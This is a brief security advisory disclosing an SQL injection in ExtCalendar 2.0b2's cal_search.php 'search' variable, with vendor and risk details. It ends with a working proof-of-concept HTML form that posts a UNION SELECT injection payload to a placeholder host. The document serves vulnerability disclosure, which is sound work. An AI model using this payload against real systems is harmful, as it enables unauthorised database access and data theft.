ExtCalendar 2.0b2 SQL Injection

`Vulnerability ID: HTB22986  
Reference: http://www.htbridge.ch/advisory/sql_injection_in_extcalendar_2.html  
Product: ExtCalendar 2  
Vendor: http://sourceforge.net/projects/extcal/   
Vulnerable Version: 2.0b2  
Vendor Notification: 05 May 2011   
Vulnerability Type: SQL Injection  
Risk level: Medium   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "cal_search.php" script to properly sanitize user-supplied input in "search" variable.  
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
  
  
<form action="http://[host]/cal_search.php" method="post" enctype="multipart/form-data">  
<input type="hidden" name="search" value="') union select 1,version(),3,4,5,6,7,8,9,10 -- ">   
<input type="submit" value="OK">  
  
`